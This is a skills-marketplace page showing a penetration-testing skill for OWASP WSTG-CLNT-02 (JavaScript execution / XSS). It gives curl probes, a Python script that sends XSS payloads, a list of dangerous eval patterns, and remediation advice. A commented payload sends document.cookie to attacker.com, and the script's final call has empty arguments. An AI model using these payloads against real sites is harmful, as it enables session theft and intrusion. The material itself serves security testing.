用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-02命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-clnt-02 |
| description | Testing for JavaScript Execution |
| category | client-side |
| owasp_id | WSTG-CLNT-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-79"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-02
Testing for JavaScript Execution
This test identifies scenarios where user input can lead to arbitrary JavaScript execution through various vectors including javascript: URIs, event handlers, and dynamic code evaluation.
# Test link href
curl -s "https://target.com/redirect?url=javascript:alert(1)"
# Test image src
curl -s "https://target.com/profile?avatar=javascript:alert(1)"
#!/usr/bin/env python3
import requests
def test_event_handlers(url, param):
payloads = [
'" onmouseover="alert(1)" x="',
"' onfocus='alert(1)' autofocus='",
'" onclick="alert(1)" style="position:fixed;width:100%;height:100%" x="',
"javascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
response = requests.get(url, params={param: payload})
if payload.split('=')[0] in response.text:
print(f"[POTENTIAL] Payload reflected: {payload[:40]}")
test_event_handlers(, )
// Check if user input reaches eval/Function
// Common patterns to look for in JS:
// Dangerous
eval(userInput)
new Function(userInput)()
setTimeout(userInput, 1000)
setInterval(userInput, 1000)
// Test payloads
// alert(1)
// 1+1
// fetch('https://attacker.com?'+document.cookie)
// Never use eval with user input
// AVOID: eval(userInput)
// Use safe alternatives
JSON.parse(jsonString) // For JSON parsing
// For dynamic function calls, use allowlist
const allowedFunctions = { sum: (a, b) => a + b }
if (allowedFunctions[functionName]) {
allowedFunctions[functionName](args)
}
| Finding | CVSS | Severity |
|---|---|---|
| javascript: URI execution | 6.1 | Medium |
| Event handler injection | 6.1 | Medium |
| eval() with user input | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-95 | Improper Neutralization of Directives in Dynamically Evaluated Code |
[ ] javascript: URI tested
[ ] Event handlers tested
[ ] eval() usage analyzed
[ ] Template literals checked
[ ] Findings documented